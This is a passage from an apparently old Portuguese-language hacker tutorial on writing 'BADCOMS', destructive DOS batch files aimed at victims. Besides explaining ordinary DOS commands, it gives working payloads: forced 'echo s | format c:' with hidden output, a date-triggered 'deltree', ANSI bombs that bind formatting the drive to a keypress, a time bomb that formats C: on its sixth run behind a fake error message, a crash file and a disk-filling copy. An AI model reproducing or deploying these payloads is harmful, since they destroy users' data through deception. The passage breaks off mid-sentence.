(/Q) (/U) (/V:label) [unidade_a_ser_detonada] Exemplos: C> format /q a: C> format /u c: O comando mais divertido que pode ser usado em BADCOMS. Fode o drive especificado literalmente. A opção /Q realiza uma formatação rápida e /U realiza uma formatação incondicional. A opção /V:label espeficifica o nome do volume da unidade, não tem muito segredo... Mas se o drive especificado for um HD aparecerá uma pergunta estúpida, que o cara responde NÃO e mantém o HD a salvo. Veja mais a frente como resolver isso. 2.5) FOR Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a Exemplo: C> for %a in (autoexec.bat config.sys) do del %a Supunhetemos que você queira executar o mesmo comando pra vários arquivos. Ao invés de escrever o mesmo comando uma porrada de vezes, use o comando FOR. Explicando detalhadamente: o comando FOR define uma variável chamada %a (ou qualquer letra) e define o valor dessa variável com os nomes que estão entre parênteses. Feito isso, executa um comando cujo parâmetro principal é a variável %a. Outro exemplo: C> for %a in (autoexec.bat config.sys command.com) do del %a Fará o seguinte: C> del autoexec.bat C> del config.sys C> del command.com Simples, não? 2.6) IF Sintaxe: IF [condição] [comando] Exemplos: if exist c:\autoexec.bat del autoexec.bat if not exist c:\1.bat echo 1 já foi deletado if "%1"=="fuckyou" echo Fuck You if not "%1"=="fuckyou" echo Don't Fuck You if errorlevel 1 goto 1 O comando IF testa uma condicional e se ela for verdadeira, executa um comando. O primeiro exemplo verifica se existe o arquivo c:\autoexec.bat e se existir, deleta ele. O segundo exemplo testa se o arquivo c:\autoexec.bat NÃO existe. Se não existir, exibe a mensagem "1 já foi deletado". O terceiro exemplo testa se a variável %1 é igual a "fuckyou". Se for, exibe a mensagem "Fuck You". O quarto exemplo testa se a variável %1 é DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You". O último exemplo testa se foi retornado um errorlevel igual a 1. Veja sobre os errorlevels mais a frente. 2.7) SET/VARIÁVEIS NO DOS Sintaxe: SET [variável] = [valor] Exemplos: set variavel = qualquermerda set drive = C:\ O comando SET define uma variável de ambiente no DOS. Isso é muito útil na programação de batches. Acho que com um exemplo fica melhor de explicar: C> set scream=argh Isso criará uma variável chamada "scream" e definirá seu valor como "argh". Se você escrever no DOS: C> echo %scream% Verá a palavra "argh" no lugar de "%scream%": C> echo %scream% argh Ou seja, sempre que você quiser fazer uma referência a uma variável já definida, usa-se %nome_da_variável%. Como unir duas variáveis em uma só: suponhamos que você tenha duas variáveis. Uma chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o valor "8910" se você quiser juntar as duas, é só fazer o seguinte: C> set BAAAAHHH=%bah1% ; %bah2% Neste exemplo estúpido que eu dei não parece ser uma coisa muito útil, mas não se engane porque É! Outro tipo de variável são as especificadas na linha de comando. Elas são %1, %2, %3 até %9. Como eu disse elas são especificadas na linha de comando, ou seja quando você roda o batch. Exemplo: [hd_fuck.bat] @echo off if "%1" == "" goto erro echo Preparando pra fuder o drive %1! format %1 goto fim :erro echo Seu imbecil, especifique o drive que você quer detonar! goto fim :fim Rodando o arquivo dessa maneira... C> hd_fuck C: ...você verá o seguinte: Preparando pra fuder o drive C:! AVISO, TODOS OS DADOS NO DISCO NÃO-REMOVÍVEL UNIDADE C: SERÃO PERDIDOS! Continuar com o Format (S/N)? Mas se não especificar nenhum parâmetro... C> hd_fuck ...resulta em: Seu imbecil, especifique o drive que você quer detonar! Como você pôde perceber, 1% nesse exemplo era igual a C:. Note que foi utilizado o comando IF para verificar se a variável %1 era existente. Outra coisa que não pode passar despercebida foi o uso do comando GOTO que será explicado logo a seguir... Mais um detalhe: o FORMAT pediu a confirmação idiota antes de detonar o HD... Em breve resolveremos isso... 8-) 2.8) GOTO Sintaxe: GOTO [nome] Exemplos: goto hora_de_fuder_o_hd goto erro O comando GOTO só pode ser usado dentro de arquivos batch e serve para direcionar o programa para a linha especificada em [nome]. Quando o DOS encontra essa linha, executa todos os comandos existentes a partir dela. O nome da linha é especificado com um :[nome]. Exemplo: [goto.bat] @echo off goto fuckyou echo Você vai se fuder... :fuckyou echo Se fudeu! Muito simples. Logo no começo do programa DOS é direcionado para a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja, a segunda linha, "echo Você vai se fuder..." não é executada porque o DOS foi direcionado pra uma linha APÓS esse comando. LOOPS INFINITOS: muito fácil. Basta ver o exemplo abaixo: [loop.bat] @echo off :loop dir goto loop Isso roda o comando DIR infinitamente, até o cara apertar CTRL+C ou desligar o computador... 2.9) VER Sintaxe: VER Exemplo: BAH! Exibe qual a versão do DOS você está usando. Aparentemente é um comando idiota e sem utilidade mas com um pouco decriatividade ele se torna um comando MUITO útil... Você vai entender mais pra frente... 2.10) VOL Sintaxe: VOL Exemplo: BAH! Mostra o nome de volume da sua unidade... Semelhante ao comando acima, muito útil pra quem é criativo. 2.11) CLS Sintaxe: CLS Exemplo: BAH! Apaga tudo que tem na tela. 2.12) ATTRIB Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo] ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo] Exemplos: attrib +h c:\ruimdows attrib +s c:\config.sys attrib -r c:\command.com Define um attributo pra um arquivo ou diretório. É óbvio que o sinal de mais (+) indica que um atributo está sendo definido e um sinal de menos (-) indica que um atributo está sendo removido. Os atributos são: A -> Atributo de Arquivo. Que diabos é isso? Supunhetemos que você queira copiar todos os arquivos que estão em um disquete para outro, menos os de extensão .VIR. O que você faz? C> attrib +a a:\*.* C> attrib -a a:\*.vir Aí você usa o comando XCOPY: C> xcopy a: b: /a Meio esquisito, mas é isso... R -> Atributo de somente para leitura. O arquivo não pode ser modificado ou deletado a não ser que o atributo seja removido. H -> Atributo de arquivo oculto. Só um burro pra não perceber que isso esconde o arquivo. S -> Atributo de arquivo de sistema. Acho que, na prática, é a mesma coisa que o atributo H. 2.13) CALL Sintaxe: CALL [nome_do_arquivo_batch] Exemplo: call virus.bat Comando usando DENTRO de arquivos batch que serve para chamar OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem parar de rodar o primeiro. Exemplo: [1.bat] @echo off echo Esse é o arquivo batch 1... call 2.bat echo De volta pro batch 1... [2.bat] @echo off echo Esse é o arquivo batch 2... Resulta em: C> 1 Esse é o arquivo batch 1... Esse é o arquivo batch 2... De volta pro batch 1... 2.14) CHOICE & ERRORLEVELS Sintaxe: CHOICE /C:[teclas] [texto] Exemplo: choice /c:123 Escolha uma opção: Esse comando exibe uma mensagem, espera que o usuário escolha uma das teclas especificadas e retorna um valor de errorlevel, de acordo com a tecla. [fuck.bat] @echo off choice /c:123 Escolha uma opção: if errorlevel 3 goto opcao3 if errorlevel 2 goto opcao2 if errorlevel 1 goto opcao1 :opcao1 echo Opção 1 escolhida goto fim :opcao2 echo Opção 2 escolhida goto fim :opcao3 echo Opção 3 escolhida goto fim :fim Rodando isso, vai acontecer o seguinte: C> fuck Escolha uma opção:[1,2,3]? Se você escolher a opção 1: C> fuck Escolha uma opção:[1,2,3]?1 Opção 1 escolhida Se escolher a 2: C> fuck Escolha uma opção:[1,2,3]?2 Opção 2 escolhida E por último: C> fuck Escolha uma opção:[1,2,3]?3 Opção 3 escolhida Ou seja, o comando CHOICE é muito étil para a criação de menus, etc. Mas o que diabos são os ERRORLEVELS? São valores retornados pelos comandos do DOS, de acordo com o que causou o fim do programa. Geralmente, quando um comando/programa pra DOS termina normalmente, sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores variam de acordo com os comandos. Veja uma lista de ERRORLEVELS mais adiante. Os errorlevels só podem ser usados com o comando IF. Usando esse recurso, você tornará seus batches melhores pois o mesmo poderá tomar decisões de acordo com o valor de errorlevel. Note que, quando você usa o comando CHOICE, o comando IF deve testar os valores de errorlevel do maior para o menor. Veja um exemplo: [errorlev.bat] @echo off del autoexec.bat if errorlevel 0 echo NÃO OCORREU NENHUM PROBLEMA Isso fará o seguinte: C> errorlev NÃO OCORREU NENHUM PROBLEMA Lógico que essa mensagem só será exibida se nenhum erro ocorrer. Explicando melhor: se não ocorrer nenhum problema na hora de deletar o arquivo, o DEL retornará um errorlevel 0. Você também pode fazer assim: [errorsuck.bat] @echo off del c:\config.sys if not errorlevel 0 goto OPS echo Não ocorreu nenhum problema. goto fim :OPS echo Alguma coisa errada ocorreu. goto fim :fim Esse exemplo é melhor, pois testa se o comando DEL NÃO retornou um errorlevel 0. Como o errorlevel 0 significa que nada de errado ocorreu, um errorlevel diferente de 0 significa que algo anormal aconteceu. Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada ocorreu" mas se tudo der certo exibe "Não ocorreu nenhum problema". 2.15) COPY Sintaxe: COPY [origem] [destino] Exemplos: copy *.* c:\ruimdows copy c:\win95\*.* c:\autoexec.bat Copia os arquivos especificados para um diretório ou para outro arquivo. 2.16) CTTY Sintaxe: CTTY [novo_dispositivo_de_entrada] Exemplo: ctty nul Este comando altera o dispositivo de entrada de dados do padrão (teclado) para outro que você especificar. Mais tarde você entenderá melhor isso... 2.17) DIR Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo] Exemplos: dir /s dir autoexec.bat Este comando não tem muito segredo. Se você não souber usar o comando DIR, escreva no prompt do DOS: C> echo s | format c: 2.18) TYPE Sintaxe: TYPE [nome_de_arquivo] Exemplo: type msdos.sys Não tem complicação. Exibe o conteúdo de um arquivo (sem fazer pausa entre as páginas). Pode ser usado em conjunto com o comando MORE. 2.19) MORE Sintaxe: MORE [nome_do_arquivo] TYPE [nome_do_arquivo] | MORE (depende da versão do DOS) Exemplo: more sucks.txt type badcom.faq | more O comando MORE é idêntico ao comando TYPE, mas ao final de cada página, faz uma pausa. Em versões mais antigas do DOS, o MORE só funciona se for feito um PIPE com o comando TYPE. 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR Sintaxe: MD [nome_do_diretório] ou MKDIR [nome_do_diretório] CD [diretório] ou CHDIR [diretório] RD [diretório_vazio] ou RMDIR [diretório_vazio] MD/MKDIR cria um diretório, CD/CHDIR chama (vai para) um diretório e o RD/RMDIR deleta um diretório (só se o dito cujo estiver VAZIO). 2.21) LABEL Sintaxe: LABEL [nome_de_volume] Exemplo: label se_fudeu Muda o nome de volume da unidade atual. 2.22) FIND Sintaxe: FIND "string_procurada" [nome_do_arquivo] Exemplo: find "fuck" c:\trash.txt Procura por uma string em um determinado arquivo. Muito útil se utilizado juntamente com os errorlevels. 2.23) PAUSE Sintaxe: PAUSE Exemplo: BAH! Faz uma pausa no batch, até que o usuário pressione qualquer tecla. Também exibe a mensagem " Pressione qualquer tecla para continuar..." 2.24) REN/RENAME Sintaxe: REN [nome_do_arquivo] [novo_nome] RENAME [nome_do_arquivo] [novo_nome] Exemplos: ren autoexec.bat noway.bat rename config.sys huahuahua.com Muda o nome de um arquivo. 2.25) SUBST Sintaxe: SUBST [nova_letra_de_unidade] [caminho] SUBST [unidade] /D Exemplo: subst f: c:\fuck subst f: /d Define uma letra de unidade para um determinado diretório. Se você usar a opção /D, o SUBST vai desativar a letra da unidade JÁ CRIADA pelo comando SUBST. Só vai funcionar se houver a seguinte linha no CONFIG.SYS: LASTDRIVE=Z 2.26) TIME Sintaxe: TIME Exemplo: BAH! Exibe a hora atual. 2.27) REM Sintaxe: REM [texto] Exemplo: rem Este é um comentário O comando REM é usado quando você quer adicionar um comentário ao seu batch. 2.28) DOSKEY Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off Exemplo: doskey dir del *.* O DOSKEY tem várias utilidades, mas só vou explicar uma, talvez a mais útil delas. Usando o DOSKEY você pode criar macros, ou seja atribuir comandos a palavras (como um ALIAS). A utilidade disso num BADCOM é que você pode trocar os comandos do DOS do cara por outros. Veja o exemplo acima. Esse exemplo faz com que o comando DIR execute o comando DEL *.*. Você pode usar isso como um Time Bomb ou pode apenas deixar sua vítima com o saco cheio mudando todos os comandos do DOS para besteiras sem sentido nenhum. A opção /ECHO define se os comandos da macro serão exibidos. Se for desativado, é equivalente ao "@ECHO OFF". Alguns caracteres especiais de código de definição de macro: $T: Separador de comando. Permite vários comandos em uma só macro. $1 a $9: Parâmetros da macro. Igual a %1 a %9. $*: Símbolo substituído por tudo após o nome da macro na linha de comando. Um detalhe, se sua vítima pressionar ALT+F10 todas as macros que você criou serão desativadas. 2.29) XCOPY Sintaxe: XCOPY [origem] [destino] [/S] Exemplo: xcopy c:\games d:\fuck /s Semelhante ao COPY, só que mais rápido, pois carrega todos os arquivos na memória e só depois copia-os. Se a opção /S for usada todos os subdiretórios e arquivos de um diretório também serão copiados. ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\/\ - - = [ RecuRsOs InTeReSSaNteS ] = - - \/\/\/\/\/\/\/\/\ │ └────────────────────────────────────────────────────────────────────────────┘ Aqui você vai encontrar uns recursos que tornarão seus BADCOMS muito melhores, e conseqüentemente, mais destrutivos :-). 3.1) PIPES Sintaxe: [comando_do_dos_1] | [comando_do_dos_2] Exemplo: type damnit.txt | more Um pipe não é bem um comando. É um recurso do DOS que permite que você use um comando conectado a outro. É meio phoda de explicar, o melhor é ver pelos exemplos: C> echo s | format c: Isso fará com que o FORMAT detone o HD diretamente, sem pedir confirmação, ou melhor, o FORMAT PEDE a confirmação, mas já vai ter uma resposta imediata: a letra S. Se você escrever esse comando, verá o seguinte: AVISO, TODOS OS DADOS NO DISCO NÃO-REMOVÍVEL UNIDADE C: SERÃO PERDIDOS! Continuar com o Format (S/N)?s Explicando melhor, é como se o DOS rodasse os dois comandos ao mesmo tempo e juntasse os resultados em um só. No exemplo acima o DOS exibe a letra "s" ao mesmo tempo que o FORMAT pede uma confirmação a respeito da formatação. O mesmo vale para o exemplo do TYPE. 3.2) Redirecionamento de I/O Este é um dos melhores recursos que existem na edição de BADCOMS. Antes de tudo, REDIRECIONAMENTO DE I/O significa REDIRECIONAMENTO DE IN/OUT ou REDIRECIONAMENTO DE ENTRADA E SAÍDA. "Mestre, mestre! Alimente a minha fome de saber com o pão de sua inteligência! Não entendi nada! Qual a utilidade prática disso?" It's too easy... Em um computador existem dispositivos de entrada de dados e de saída de dados. O que você usa pra inserir dados no seu computador? "Não sei, mestre." ANIMAL! É o teclado! Da mesma forma que o dispositivo usado para a saída de dados é o monitor. Ou seja, todos os dados que você insere pelo teclado saem (são exibidos) no monitor. No DOS (e em outros sistemas) ocorre uma coisa muito legal que é o redirecionamento de I/O. Você pode direcionar a saída de dados para outros dispositivos ou até mesmo para arquivos. "Mestre, como eu direciono um comando para outro dispositivo ou arquivo?" De acordo com a seguinte sintaxe: COMANDO > [dispositivo_ou_arquivo] ou COMANDO >> [dispositivo_ou_arquivo] Qual a diferença entre usar ">" ou ">>"? Veja os exemplos: C> echo merda,caralho,putaqpariu > palavroes.txt C> echo porra,bosta,cacete >> palavroes.txt O primeiro exemplo vai CRIAR um arquivo chamado "palavroes.txt" contendo as palavras "merda,caralho,putaqpariu". O segundo exemplo vai ADICIONAR as palavras " porra, bosta, cacete" no arquivo já criado " palavrões.txt". Ou seja, o síbolo ">" vai CRIAR um novo arquivo e se ele já existir, vai ser sobreescrito. O símbolo ">>" vai ADICIONAR a string à última linha de um arquivo já existente. Se o arquivo especificado não existir, ele será criado. Mais exemplos: C> dir /s > c:\listdir.txt Isso criará um arquivo chamado "listdir.txt" contendo TODOS os arquivos existentes no HD. O redirecionamento pode ser feito com qualquer comando do DOS. Lista dos dispositivos do DOS: AUX: primeira porta serial CLOCK$: relógio do sistema COM1: primeira porta serial COM2: segunda porta serial COM3: terceira porta serial COM4: quarta porta serial CON: teclado LPT1: primeira impressora LPT2: segunda impressora LPT3: terceira impressora NUL: dispositivo nulo PRN: primeira impressora Direcionar os comandos do DOS para o dispositivo NUL é muito útil, especialmente quando você não quer que o comando exiba nenhuma mensagem na tela. Exemplo: [pause1.bat] @echo off pause > nul echo Pressione uma tecla... rem pause > nul poderia ser substituído por pause >> nul Isso faz com que a mensagem padrão do PAUSE não seja exibida, pois ela foi direcionada para NUL, mas o programa vai continuar esperando até o usuário apertar uma tecla e vai exibir uma mensagem diferente. Outro exemplo: C> echo s | format c: >> nul Vai formatar o HD sem exibir nada na tela, ou seja, até o cara perceber o que está acontecendo o HD dele já foi pro espaço! Ha, Ha, Ha! :-D Mas você também pode redirecionar o dispositivo de ENTRADA para um arquivo ou dispositivo, o que seria QUASE a mesma coisa que um PIPE. Por que "QUASE"? Supunhetemos que você tem um programa que pede que você pressione a tecla ENTER antes de começar a funcionar e você quer rodar esse programa direto, sem ter que apertar ENTER. Como fazer isso? Você cria um arquivo que contenha o ENTER e redireciona a entrada de dados do seu programa para esse arquivo. "Mas eu não sei fazer isso..." É bem fácil. Use o comando COPY CON. Isso copiará tudo que for inserido pelo dispositivo CON (também conhecido como teclado) para um arquivo. Veja esse exemplo: C> copy con enter.txt ----> Pressione ENTER ----> Pressione ENTER ----> Pressione ENTER ^Z ----> Pressione CTRL+Z e depois ENTER 1 arquivo(s) copiado(s) Isso vai criar um arquivo de 6 bytes, que se parecerá com um arquivo vazio, mas que conterá o caractere ENTER. Na verdade, não é necessário apertar ENTER três vezes na hora em que você está criando o "enter.txt", uma vez basta, mas é bom garantir... Agora que o seu arquivo já está criado, você deve proceder de acordo com a seguinte sintaxe para direcionar a entrada de dados: COMANDO < arquivo Por exemplo, você quer rodar o comando TIME, mas não quer que apareça aquela babaquice de "Digite a nova hora:". Basta que você direcione o comando TIME pro arquivo já criado "enter.txt", assim: C> time < enter.txt A hora atual é **:**:**,** Digite a nova hora: C> É como se o ENTER fosse pressionado automaticamente, retornando imediatamente ao prompt. Mas o arquivo a qual você vai direcionar pode ter um conteúdo diferente. Pode conter a letra "s", no caso do programa pedir uma confirmação, pode conter um "n", depende do programa. Se você criar um arquivo chamado "s.txt", obviamente contendo a letra "s" e um ENTER você pode redirecionar o FORMAT, detonando o HD sem pedir confirmação: C> format c: < s.txt Uma coisa que você não pode esquecer em hipótese alguma, é de mandar o arquivo que você usa para o redirecionamento junto com o seu BADCOM, senão não vai adiantar porra nenhuma. 3.3) Diretórios inacessíveis Um truque legal que pode ser feito no DOS: se você criar um diretório usando caracteres estendidos ASCII (veja a tabela na próxima parte) o Ruimdows não reconhecerá esses diretórios e exibirá um monte de mensagens de erro quando alguém tenta acessar os mesmos. Útil pra quando você quiser entupir o HD de alguém com besteira e deixar sua vítima desesperada sem saber como deletar esse diretório. Mas não são todos os caracteres ASCII que criam diretórios inacessíveis. Veja alguns caracteres que quando usados com o MD impede o Ruimdows de reconhecê-los: ■ (254), ı (213), ┘ (217), █ (987), ┘ (985), ┌ (986), ├ (963), ┴ (961), ┬ (962), └ (960), ┼ (965), ─ (964), ╚ (968), ╔ (969), ▄ (988), ▀ (991). Como criar um diretório inacessível: C> md [SEGURA ALT+CÓDIGO DO CARACTERE+SOLTA ALT] Os erros que um diretório desses causa no Ruimdows: quando você dá 2 cliques no diretório (no Windows o nome dele será "_") aparecerá a seguinte mensagem: ┌───────────────────────────────┐ ├───────────────────────────────┤ │ A pasta 'C:\_' não existe. │ │ │ │ < OK > │ └───────────────────────────────┘ Tentando renomear a pasta , aparece: ┌─────────────────────────────────┐ ├─────────────────────────────────┤ │ Impossível renomear _: Não é │ │ possível encontrar o arquivo │ │ especificado. │ │ │ │ < OK > │ └─────────────────────────────────┘ Se tentar deletar o diretório: ┌─────────────────────────────────┐ ├─────────────────────────────────┤ │ Impossível remover _: Não é │ │ possível encontrar o arquivo │ │ especificado. │ │ │ │ < OK > │ └─────────────────────────────────┘ O cara só poderá remover esse diretório pelo DOS, isso se ele conhecer a tabela ASCII. Ou seja, tá fudido! :-) Uma boa idéia é criar um batch que remova o diretório inacessível. Veja os exemplos: [baddir.bat] @echo off md ■ [anti_baddir.bat] @echo off rd ■ O primeiro exemplo cria um diretório inacessível e o segundo exemplo exclui o diretório. 3.4) ANSI ANSI é outro recurso muito interessante do DOS, mas que não é muito utilizado. Com o ANSI você pode mudar a cor dos caracteres da tela, mudar a forma como eles são exibidos, remapear seu teclado, fazer ANSIBOMBS e tornar seus BADCOMS muito melhores. "Mestre, mestre! Onde eu compro o CD desse tal de ANSI?" IDIOTA! No seu diretório \DOS ou \WINDOWS\COMMAND existe um arquivo chamado ANSI.SYS. Basta adicionar a seguinte linha no seu arquivo CONFIG.SYS: DEVICE=[caminho]\ansi.sys Depois de fazer isso, reinicie seu computador e pronto! Você já pode usar o ANSI. O método utilizado pelo ANSI para controlar o teclado e a tela é a sequência de escape, que nada mais é do que uma série de códigos iniciada por um caractere de escape. Todos os comandos ANSI são iniciados por um caractere de escape (), seguido de um colchete esquerdo ([). Depois desses caracteres vão os códigos que dizem ao ANSI como controlar seu teclado/tela. Esses códigos são parecidos com os do terminal VT100, só que um pouco mais limitados. O problema do ANSI é a dificuldade de entrar com o caractere de escape a partir do teclado. Existe um truque para fazer isso no EDIT do DOS. Pressione CTRL+P. Aparecerá uma mensagem "Informe a tecla de controle para inserir" e então aperte ESC. Você terá o "". Obviamente, essa sequência toda de caracteres não vai funcionar se não tiver um comando como ECHO ou TYPE. MANIPULANDO A TELA COM O ANSI Com o ANSI, você pode apagar a tela (como no CLS), localizar o cursor num ponto da tela e mudar as cores de foreground e background. Para limpar a tela, siga o exemplo: [cls2.bat] @echo off echo  O comando  limpa a tela. Uma coisa interessante: se você direcionar o comando CLS pra um arquivo qualquer e editar esse arquivo, o conteúdo do mesmo será . Se você der um TYPE nesse arquivo, a tela se limpará. Para mudar a cor da tela, a sintaxe é ;nm onde "n" é o código da cor e "m" é o código que indica a mudança de cor, portanto NÃO SE ESQUEÇA DE COLOCAR A LETRA "M" NO FIM DO CÓDIGO! Veja a tabela de cores para ANSI: ┌───────────────┬──────────────────────┐ │ CÓDIGO ANSI │ COR DO TEXTO │ ├───────────────┼──────────────────────┤ │ 0 │ Normal │ │ 1 │ Alta intensidade │ │ 2 │ Intensidade normal │ │ 4 │ Azul │ │ 7 │ Vídeo inverso │ │ 8 │ Texto invisível │ ├───────────────┼──────────────────────┤ │ 30 │ Foreground preto │ │ 31 │ Foreground vermelho │ │ 32 │ Foreground verde │ │ 33 │ Foreground amarelo │ │ 34 │ Foreground azul │ │ 35 │ Foreground magenta │ │ 36 │ Foreground ciano │ │ 37 │ Foreground branco │ ├───────────────┼──────────────────────┤ │ 40 │ Background preto │ │ 41 │ Background vermelho │ │ 42 │ Background verde │ │ 43 │ Background amarelo │ │ 44 │ Background azul │ │ 45 │ Background magenta │ │ 46 │ Background ciano │ │ 47 │ Background branco │ └───────────────┴──────────────────────┘ Exemplos: [azul.bat] @echo off echo  FUCK YOU! [pretonobranco.bat] @echo off echo  echo BAH! O primeiro exemplo exibe a mensagem "FUCK YOU" na cor azul e o segundo exemplo muda a cor do fundo pra branco e a do texto pra preto e exibe a mensagem "BAH". Finalmente, para localizar o cursor na tela, use ow;columnH, não esquecendo que o H indica que o ANSI deve mudar o cursor e que não pode ser esquecido. Esse comando é mais fácil. O "row" corresponde à linha que você quer que o cursor vá (pode ser 1 até 25) e column indica em que ponto da linha você quer que o cursor fique (pode ir de 1 até 80). Exemplo: [teste.bat] @echo off echo  TESTE Simples. Exibe a mensagem "TESTE" na linha 10, coluna 40. REMAPEAMENTO DE TECLADO Você pode mudar as teclas do seu computador usando ANSI. A sintaxe para a redesignação de teclas é: 1;n2p Onde "n1" é a tecla a ser modificada, "n2" é a tecla para qual você quer que "n1" mude e "p" é o código que indica mudança de teclas. Cada letra tem um código próprio, segue-se uma tabela das teclas e seus respectivos códigos (para ver os códigos das outras teclas, use o comando HELP do DOS): ┌─────────┬────────┐ │ LETRA │ CÓDIGO │ ├─────────┼────────┤ │ A │ 97 │ │ B │ 98 │ │ C │ 99 │ │ D │ 100 │ │ E │ 101 │ │ F │ 102 │ │ G │ 103 │ │ H │ 104 │ │ I │ 105 │ │ J │ 106 │ │ K │ 107 │ │ L │ 108 │ │ M │ 109 │ │ N │ 110 │ │ O │ 111 │ │ P │ 112 │ │ Q │ 113 │ │ R │ 114 │ │ S │ 115 │ │ T │ 116 │ │ U │ 117 │ │ W │ 118 │ │ V │ 119 │ │ X │ 120 │ │ Y │ 121 │ │ Z │ 122 │ └─────────┴────────┘ Exemplo: [remap.bat] @echo off echo  echo  Este exemplo vai trocar a letra "X" pela letra "Z" e a letra "Z" pela "X". ANSIBOMBS Além de trocar uma letra por outra, é possível atribuir um comando a uma tecla. Supunhetemos que você queira que a tecla "A" execute um determinado comando. Você deve fazer assim: 1;"string"p O "n1" é a tecla a qual você quer atribuir um comando e "string" (deve ser entre aspas!) é o comando que você quer atribuir. Se você quiser que a tecla ENTER seja pressionada após o comando, deve ser assim: 1;"string";13p O número 13 é o código ANSI da tecla ENTER. Exemplos: [a_dir.bat] @echo off [122;"dir/w";13p [abomb.bat] @echo off [105;"echo s | format c:";13p O primeiro exemplo executa o comando DIR/W sempre que a tecla "Z" for pressionada. O segundo exemplo vai detonar o HD assim que a tecla "I" for pressionada (um exemplo prático de ANSIBOMB!). ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ExEmPloS ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Neste capítulo você vai encontrar exemplos comentados linha por linha, assim você poderá entender melhor o que acontece no source existente no próximo capítulo. 4.1) Detectando o idioma do DOS: [idioma.bat] 1| @echo off 2| vol >tmpvol.tmp 3| find "volume" tmpvol.tmp /i >nul 4| if errorlevel 0 if errorlevel 1 goto english 5| echo Seu Ruimdows é em português 6| goto fim 7| :english 8| echo Your Ruimdows is in English 9| :fim 10| del tmpvol.tmp A linha 1 desativa o ECHO. A linha 2 executa o comando VOL direcionado pro arquivo "tmpvol.tmp". Vendo o conteúdo desse arquivo, terá isso (se for em português): O volume da unidade C é RUIMDOWS 95 O número de série do volume é 22E1-0142 A linha 3 irá procurar pela palavra "volume" no arquivo "tmpvol.tmp" e a linha 4 verificará se a string não foi encontrada e mandará o batch para a linha 7, se isso for verdade. É aí que está a grande sacada. Se o Ruimdows for em português, aparecerá a palavra "volume" no arquivo "tmpvol.tmp", mas se for em inglês, a palavra será "label", e não "volume", ou seja se o FIND não encontrar a palavra "volume" é porque o Ruimdows é em inglês. Mas pra que isso? Respondo com outra pergunta: quando você for detonar um HD, você vai usar "ECHO S | FORMAT C:" ou "ECHO Y | FORMAT C:"? As linhas 5 até 10 não tem muito segredo. Exibem mensagens, até chegar ao fim, que termina apagando o arquivo "tmpvol.tmp". 4.2) Detectando a data do computador [data.bat] 1| @echo off 2| date tmpdate.tmp 3| find "06/06/1998" tmpdate.tmp /i >nul 4| if errorlevel 0 if errorlevel 1 goto dataerrada 5| echo Hoje eu estou de mau humor! Vou fuder seu HD! 6| deltree /y c:\*.* 7| goto fim 8| :dataerrada 9| echo Hoje eu serei benevolente e não vou fuder seu HD. 10| :fim 11| del tmpdate.tmp O princípio usado nesse arquivo é o mesmo do exemplo acima. A linha 1 desativa o ECHO, a 2 cria um arquivo "tmpdate.tmp" que contém a data atual, a linha 3 procura a data que você quer que detone o HD, a 4 verifica se a data é a certa ou a errada. Se for certa, exibe uma mensagem, detona os arquivos e vai pro fim, como visto nas linhas 5, 6 e 7. Se não for a data certa, o programa vai para a linha 8, exibe uma mensagem na 9 e vai pro fim, onde apaga o arquivo tmpdate.tmp. 4.3) ANSIBOMB [abomb.bat] 1| @echo off 2| echo [99;"deltree /y c:\*.* >nul";13p 3| echo Memória insuficiente Este exemplo é muito simples. A linha 1 desativa o ECHO, a 2 fará com que quando a tecla "C" for pressionada, detone todos os arquivos e a linha 3 exibe uma mensagem de erro para enganar o usuário, depois que a bomba foi setada. 4.4) Travando o computador [travando.bat] 1| @echo off 2| echo hehehe > hehehe.com 4| hehehe Esse é mais simples ainda. A linha 1 desativa o ECHO, a 2 cria um arquivo chamado "hehehe.com" cujo conteúdo seja "hehehe" e a 3 roda esse arquivo, fazendo o computador travar. 4.5) Time Bomb [tbomb.bat] 1| @echo off 2| cd\ 3| if exist data1.dat goto 2 4| type nul > data1.dat 5| attrib +a +r +h +s data1.dat 6| goto end 7| :2 8| if exist data2.dat goto 3 9| type nul > data2.dat 10| attrib +a +r +h +s data2.dat 11| goto end 12| :3 13| if exist data3.dat goto 4 14| type nul > data3.dat 15| attrib +a +r +h +s data3.dat 16| goto end 17| :4 18| if exist data4.dat goto 5 19| type nul > data4.dat 20| attrib +a +r +h +s data4.dat 21| goto end 22| :5 23| if exist data5.dat goto timeisup 24| type nul > data5.dat 25| attrib +a +r +h +s data5.dat 26| goto end 27| :timeisup 28| echo s | format c: 29| :end 30| Memória insuficiente Este BADCOM será inofensivo durante 5 vezes que for rodado. Na sexta vez, o cara pode dizer adeus ao HD dele... Ha, Ha, Ha! Este exemplo é meio grande, mas é fácil por ser muito repetitivo se você prestar atenção, verá que os mesmos comandos são sempre usados. O segredo desse batch está nas linhas 3, 8, 13, 18 e 23. São elas que vão determinar quantas vezes o programa já foi usado. Preste atenção no redirecionamento de I/O nas linhas 4, 9, 14, 19 e 24. Elas criam arquivos vazios (NUL é vazio) que serão usados pra descobrir quantas vezes o programa já foi rodado. As linhas 5, 10, 15, 20 e 25 escondem os arquivos criados. Note também que sempre que um novo arquivo .DAT é criado, o programa pára, exibindo uma mensagem pra enganar o imbecil do usuário. Atenção especial pra linha 23: ela que define a hora de detonar o HD, direcionando o batch pra linha 27. A partir daí o FORMAT é acionado, como visto na linha 28. 4.6) Enchendo o HD de lixo [hdtrash.bat] 1| @echo off 2| echo d | xcopy c:\*.* %windir%\system\vms /s >nul 3| attrib +a +r +s +h %windir%\system\vms 4| Um dos arquivos necessários não foi encontrado. Um exemplo simples, só que muito incômodo. Fará o HD do cara dobrar de tamanho cada vez que for executado, copiando tudo que tem no HD para o diretório 